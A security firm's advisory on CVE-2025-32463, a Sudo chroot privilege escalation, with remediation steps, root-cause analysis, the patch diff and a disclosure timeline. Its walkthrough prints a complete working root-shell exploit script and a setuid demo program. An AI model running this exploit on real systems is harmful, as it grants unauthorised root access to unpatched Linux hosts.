Jun 30, 2025

By Rich Mirch

Vulnerability advisory: Sudo chroot elevation of privilege

Stratascale’s Cybersecurity Research Unit (CRU) has identified a critical local privilege escalation vulnerability in Sudo (CVE-2025-32463). This flaw, tied to the chroot feature, allows any local unprivileged user to gain root access even without specific Sudo rules. Affected systems should be reviewed immediately to ensure a patched version is installed.

Introduction

The Sudo utility is a privileged command-line tool installed on Linux systems that allows a permitted user to execute a command as the superuser, or another user, as specified by the security policy. It is commonly used to implement the least privilege model by delegating administrative tasks that require elevated privileges without sharing the root password, while also creating an audit trail in the system log.

The Stratascale Cyber Research Unit (CRU) team discovered two local privilege vulnerabilities in Sudo. These vulnerabilities can result in the escalation of privileges to root on the impacted system.

The research focused on infrequently used command-line options. This blog explores how the Sudo chroot option can be leveraged by any local user to elevate privileges to root, even if no Sudo rules are defined for that user.

Related Post

CVE-2025-32462 – Sudo host Option Elevation of Privilege Vulnerability

Remediation

Impact

The default Sudo configuration is vulnerable. Although the vulnerability involves the Sudo chroot feature, it does not require any Sudo rules to be defined for the user. As a result, any local unprivileged user could potentially escalate privileges to root if a vulnerable version is installed. The following versions are known to be vulnerable. Note: Not all versions within the range have been tested.

  • Stable 1.9.14 – 1.9.17

Note: The legacy versions of Sudo (currently <= 1.8.32) are not vulnerable because the chroot feature does not exist.

Exploitation has been verified on:

  • Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2
  • Fedora 41 Server; Sudo 1.9.15p5

Administrators / Blue Team Recommendations

  • Install the latest sudo packages for your system. No workaround exists for this issue.
  • The chroot option is now deprecated as of 1.9.17p1. It is recommended to avoid using the chroot options, as this could unintentionally make your environment less secure if not implemented properly.
  • Search your environment for any use of the chroot option. Review all Sudo rules defined in /etc/sudoers, and files under /etc/sudoers.d. If the Sudo rules are stored in LDAP, use tools such as ldapsearch to dump the rules.
  • Look for the use of the runchroot= option or CHROOT= directive in the individual rules.
  • You can search for sudo entries in the syslog. Any commands using chroot will be logged with the CHROOT= string.

Sudo chroot Introduction

The chroot(2) system call and chroot(8) commands are used to limit the files and directories a process can access on a given file system. This is done by changing the root directory of the process to a given path, restricting its view to files under the path.

A real-world example of this is SFTP/FTP servers. Administrators can configure users to access only their home directories during file transfers. For instance, setting the FTP process root to /home/user prevents access to files outside that directory, such as /etc/passwd.

However, chroot is not considered a strong security boundary. The Linux chroot(2) man page explicitly states, “This call changes an ingredient in the pathname resolution process and does nothing else. It is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls.

Sudo implements the chroot call using -R <directory> or –chroot=<directory> options to “Change to the specified root directory before running the command.” This is not a common or rarely used feature, likely implemented to support edge cases.

Below is an example of a Sudo rule from the test cases. The lowpriv account is allowed to execute /bin/bash under /web. In this example rule, the user does not pass the chroot directory using the command-line options. Instead, Sudo will chroot to /web prior to executing /bin/bash.

lowpriv ALL = CHROOT=/web /bin/bash

When the command is executed via Sudo, the “root” path will be set to /web, so /web/bin/bash must exist along with any linked libraries. The example below of lsof command output shows the lowpriv user running /bin/bash under /web. The rtd line confirms that the root directory is set to /web.

COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME 
bash    160095 root  cwd    DIR  252,0     4096 1048596 /web 
bash    160095 root  rtd    DIR  252,0     4096 1048596 /web 
bash    160095 root  txt    REG  252,0  1446024 1048604 /web/bin/bash 
bash    160095 root  mem    REG  252,0  2125328 1048600 /web/lib/x86…gnu/libc.so.6 
bash    160095 root  mem    REG  252,0   208328 1048601 /web/lib/x86…libtinfo.so.6 
bash    160095 root  mem    REG  252,0   236616 1048602 /web/lib64/ld-…64.so.2 

Note that basic Linux commands such as ls and find do not exist because they were not copied to the chroot environment.

lowpriv@prod:~$ sudo /bin/bash
bash-5.2# cd /
bash-5.2# ls
bash: ls: command not found
bash-5.2# find .
bash: find: command not found
bash-5.2# echo *
bin lib lib64
bash-5.2# echo bin/*
bin/bash

A value of “*” in the runchroot= sudoers configuration indicates that the user may specify the root directory by running sudo with the -R option. An example configuration using this option is shown below.

lowpriv@prod:~$ sudo -l
Matching Defaults entries for lowpriv on prod:
    env_reset,
    mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty,
    runchroot=*

User lowpriv may run the following commands on prod:
    (root) /bin/bash
lowpriv@prod:~$ sudo -R /web /bin/bash
bash-5.2#

CVE-2025-32463 Sudo chroot Elevation of Privilege Walkthrough

CVE-2025-32463 was introduced in Sudo v1.9.14 (June 2023) with the update to the command matching handling code when the chroot feature is used.

Excerpt from the NEWS file:

Improved command matching when a chroot is specified in sudoers. The sudoers plugin will now change the root directory id needed before performing command matching. Previously, the root directory was simply prepared to the path that was being processed.

The issue arises from allowing an unprivileged user to invoke chroot() on a writable, untrusted path under their control. Sudo calls chroot() several times, regardless of whether the user has corresponding Sudo rule configured.

Allowing a low-privileged user the ability to call chroot() with root authority to a writable location can have various security risks. Many applications, such as SSH, explicitly guard against this. For example, SSH will refuse to chroot () if the target location is not owned by root.

The pivot_root() and unpivot_root() functions, defined in plugins/sudoers/pivot.c, handle the chroot logic. Between these two calls, the Name Service Switch (NSS) operations are triggered, causing the system to load the /etc/nsswitch.conf configuration file from the untrusted environment. This file contains directives that instruct the system on how to retrieve information about users, groups, and hosts. Multiple sources can be listed, and the order searched until there is a match.

For example, the following nsswitch.conf snippet shows files and ldap for the service. When retrieving information for a user, the local files (e.g. /etc/passwd) will be searched first, and then LDAP.

passwd:         files ldap
group:          files ldap
shadow:         files ldap
gshadow:        files ldap

One interesting note that may not be immediately apparent when reading the nsswitch.conf file is that the name of the source is also used as part of the path for a shared object (library). For example, the above ldap source translates to libnss_ldap.so. When an NSS function uses the ldap source, the library is loaded.

Because of this behavior, any local user can trick Sudo into loading an arbitrary shared object, resulting in arbitrary code execution as root. The folllowing stack trace shows the malicious shared object that has been loaded by Sudo. Note: It has been heavily edited for brevity.

#0  0x0000763a155db181 in woot () from libnss_/woot1337.so.2
#1  0x0000763a1612271f in call_init
#8  0x0000763a1612a164 in _dl_open (file="libnss_/woot1337.so.2", 
#14 0x0000763a15f53a0f in module_load
#15 0x0000763a15f53ee5 in __nss_module_load
#17 0x0000763a15f5460b in __GI___nss_lookup_function
#19 0x0000763a15f50928 in __GI___nss_passwd_lookup2
#20 0x0000763a15f62628 in __getpwnam_r 
#21 0x0000763a15d59ae8 in pam_modutil_getpwnam
#27 0x0000763a15d58d99 in pam_acct_mgmt
#28 0x0000763a1577e491 in sudo_pam_approval
#29 0x0000763a157ce3ef in sudo_auth_approval
#30 check_user.constprop.0
#32 0x0000763a15799143 in sudoers_check_cmnd
#33 sudoers_policy_check
#34 0x00005ba00874b491 in policy_check
#35 main

To exploit this issue, the following /etc/nsswitch.conf file was placed inside of the chrooted environment. The /woot1337 NSS “source” is translated to libnss_/woot1337.so.2, which is a shared object under a path we control.

passwd: /woot1337

Executing the PoC on Ubuntu 24.04.2 LTS server with Sudo v1.9.15p5, using an unprivileged user with no Sudo rules defined, results in a root shell outside of the chrooted environment.

lowpriv@prod:~/CVE-2025-32463$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~/CVE-2025-32463$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)

The full sudo-chwoot.sh PoC.

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Chwoot Demo

chwoot-demo.c is a simplified version of the Sudo vulnerability, designed to replicate its core behavior. The proof of concept can be used to demonstrate the potential issues with chroot().

/*
  Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot.
               Possible future CTF challenge? :)
  gcc -Wall -o chwoot-demo chwoot-demo.c
  cp 4755 chwoot-demo
  mv chwoot-demo /usr/bin
  Then get a root shell as a low priv user
*/
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h>

int main() {
    chdir("/tmp/stage");
    int saved_root = open("/",O_RDONLY);
    int saved_cwd = open(".",O_RDONLY);
    chroot("/tmp/stage");
    chdir("/");
    gethostbyname("woot");
    fchdir(saved_root);
    chroot(".");
    fchdir(saved_cwd);
    getgrnam("got root?");
}

The patch essentially reverts to the changes implemented in Sudo 1.9.14. The pivot_root() and unpivot_root() functions were removed, and chroot() is no longer called during the command matching phase.

--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
 int
 set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
 {
-    struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
     const char *cmnd_in;
     char *cmnd_out = NULL;
     char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
     if (def_secure_path && !user_is_exempt(ctx))
        path = def_secure_path;

-    /* Pivot root. */
-    if (runchroot != NULL) {
-       if (!pivot_root(runchroot, &pivot_state))
-           goto error;
-    }
-
-    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
     if (ret == FOUND) {
        char *slash = strrchr(cmnd_out, '/');
        if (slash != NULL) {
@@ -1122,14 +1115,8 @@
     else
        ctx->user.cmnd = cmnd_out;

-    /* Restore root. */
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
-
     debug_return_int(ret);
 error:
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
     free(cmnd_out);
     debug_return_int(NOT_FOUND_ERROR);
 }

With the patch applied, the exploit fails because chroot() is no longer called.

lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
sudo: the -R option will be removed in a future version of sudo
Password:
sudo: you are not permitted to use the -R option with woot

Disclosure Timeline

04/01/2025: Vulnerability report sent to Todd Miller (Sudo maintainer).
04/03/2025: Follow-up request to confirm receipt of the initial report.
04/03/2025: Report acknowledged; initial discussion began.
04/06/2025: Maintainer proposed a patch for CVE-2025-32462.
04/07/2025: Requested CVEs from MITRE.
04/08/2025: MITRE assigned CVE-2025-32462 (host option) and CVE-2025-32463 (chroot).
04/08/2025: Verified the CVE-2025-32462 patch and provided additional feedback.
04/23/2025: Follow-up request for an update.
05/06/2025: Follow-up request for an update.
05/06/2025: Maintainer responded, still working on a solution to the chroot issue.
05/07/2025: Sent feedback on the chroot issue.
05/16/2025: Follow-up request for an update.
06/04/2025: Follow-up request for an update.
06/09/2025: Maintainer proposed a patch for CVE-2025-32463.
06/10/2025: Verified the CVE-2025-32463 patch; proposed disclosure timeline.
06/23/2025: Patch sent to operating system distros list. Sudo advisory links confirmed.
06/30/2025: Public disclosure.
06/30/2025: Blog post published.

Acknowledgement & Credit

The CVE-2025-32463 Sudo chroot Elevation of Privilege Vulnerability was discovered by Rich Mirch of the Stratascale Cyber Research Unit. The Stratascale CRU team thanks the Sudo maintainer, Todd Miller, for the partnership in resolving these issues.

Practical Guidance & Threat Intelligence

Related resources 

Stay a step ahead of the competition–and attackers–with fresh perspectives, practical guidance, and the latest threat intelligence. 

View all
Contact Us

Solve what’s next in cybersecurity  

Let’s talk about how we can support your next move toward a stronger, more secure digital foundation. 
Get in touch